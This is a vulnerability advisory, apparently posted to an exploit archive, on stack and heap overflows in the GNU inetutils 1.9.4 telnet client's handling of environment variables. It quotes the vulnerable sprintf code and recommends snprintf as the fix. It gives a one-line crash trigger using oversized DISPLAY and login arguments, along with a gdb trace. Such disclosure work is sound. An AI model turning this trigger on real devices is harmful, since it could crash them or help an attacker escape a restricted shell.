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GNU inetutils 1.9.4 telnet.c Overflows

GNU inetutils 1.9.4 telnet.c Overflows
Posted Dec 14, 2018
Authored by Hacker Fantastic

GNU inetutils versions 1.9.4 and below are vulnerable to a stack overflow vulnerability in the client-side environment variable handling which can be exploited to escape restricted shells on embedded devices. Most modern browsers no longer support telnet:// handlers, but in instances where URI handlers are enabled to the inetutils telnet client this issue maybe remotely triggerable. A stack-based overflow is present in the handling of environment variables when connecting telnet.c to remote telnet servers through oversized DISPLAY arguments. A heap-overflow is also present which can be triggered in a different code path due to supplying oversized environment variables during client connection code.

tags | exploit, remote, overflow, shell
MD5 | 17d3bfcc3f5ceb86b75256a45640ade5

GNU inetutils 1.9.4 telnet.c Overflows

Change Mirror Download
GNU inetutils <= 1.9.4 telnet.c multiple overflows
==================================================
GNU inetutils is vulnerable to a stack overflow vulnerability in the
client-side environment
variable handling which can be exploited to escape restricted shells on
embedded devices.
Most modern browsers no longer support telnet:// handlers, but in instances
where URI
handlers are enabled to the inetutils telnet client this issue maybe
remotely triggerable.
A stack-based overflow is present in the handling of environment variables
when connecting
telnet.c to remote telnet servers through oversized DISPLAY arguments.

A heap-overflow is also present which can be triggered in a different code
path due to
supplying oversized environment variables during client connection code.

The stack-based overflow can be seen in the following code snippet from the
latest inetutils
release dated 2015.

inetutils-telnet/inetutils-1.9.4/telnet/telnet.c

983- case TELOPT_XDISPLOC:
984- if (my_want_state_is_wont (TELOPT_XDISPLOC))
985- return;
986- if (SB_EOF ())
987- return;
988- if (SB_GET () == TELQUAL_SEND)
989- {
990- unsigned char temp[50], *dp;
991- int len;
992-
993- if ((dp = env_getvalue ("DISPLAY")) == NULL)
994- {
995- /*
996- * Something happened, we no longer have a DISPLAY
997- * variable. So, turn off the option.
998- */
999- send_wont (TELOPT_XDISPLOC, 1);
1000- break;
1001- }
1002: sprintf ((char *) temp, "%c%c%c%c%s%c%c", IAC, SB,
TELOPT_XDISPLOC,
1003- TELQUAL_IS, dp, IAC, SE);
1004- len = strlen ((char *) temp + 4) + 4; /* temp[3] is 0 ... */
1005-
1006- if (len < NETROOM ())

When a telnet server requests environment options the sprintf on line 1002
will
not perform bounds checking and causes an overflow of stack buffer temp[50]
defined
at line 990. This issue can be trivially fixed using a patch to add bounds
checking
to sprintf such as with a call to snprintf();

An example of the heap overflow can be seen when handling large environment
variables within the telnet client, causing heap buffer memory corruption
through long string supplied in example USER or DISPLAY.

An example of triggering this issue on inetutils in Arch Linux can be seen
below:

DISPLAY=`perl -e 'print Ax"50000"'` telnet -l`perl -e 'print "A"x5000'`
192.168.69.1
Trying 192.168.69.1...
Connected to 192.168.69.1.
Escape character is '^]'.
realloc(): invalid next size
Aborted (core dumped)

These issues are present anywhere that inetutils is used as a base for
clients
such as in common embedded home routers or networking equipment. An attacker
can potentially exploit these vulnerabilities to gain arbitrary code
execution
on platforms where telnet commands are available. An example debug trace of
the
heap overflow can be found below:

(gdb) run -l`perl -e 'print "A"x5000'` 192.168.69.1
Starting program: /usr/bin/telnet -l`perl -e 'print "A"x5000'` 192.168.69.1
Trying 192.168.69.1...
Connected to 192.168.69.1.
Escape character is '^]'.
realloc(): invalid next size

Program received signal SIGABRT, Aborted.
0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6
(gdb) bt
#0 0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6
#1 0x00007ffff7d72672 in abort () from /usr/lib/libc.so.6
#2 0x00007ffff7dca878 in __libc_message () from /usr/lib/libc.so.6
#3 0x00007ffff7dd118a in malloc_printerr () from /usr/lib/libc.so.6
#4 0x00007ffff7dd52ac in _int_realloc () from /usr/lib/libc.so.6
#5 0x00007ffff7dd62df in realloc () from /usr/lib/libc.so.6
#6 0x000055555556029c in ?? ()
#7 0x0000555555560116 in ?? ()
#8 0x000055555556049f in ?? ()
#9 0x00005555555606b7 in ?? ()
#10 0x00005555555616de in ?? ()
#11 0x0000555555561b8d in ?? ()
#12 0x0000555555562122 in ?? ()
#13 0x000055555555c6f4 in ?? ()
#14 0x00005555555591e7 in ?? ()
#15 0x00007ffff7d74223 in __libc_start_main () from /usr/lib/libc.so.6
#16 0x00005555555592be in ?? ()

Due to the various devices embedding telnet from inetutils and distributions
such as Arch Linux using inetutils telnet, it is unclear the full impact
and all
scenarios where this issue could be leveraged. An attacker may seek to
exploit
these vulnerabilities to escape restricted shells.

-- Hacker Fantastic (11/12/2018)

https://hacker.house


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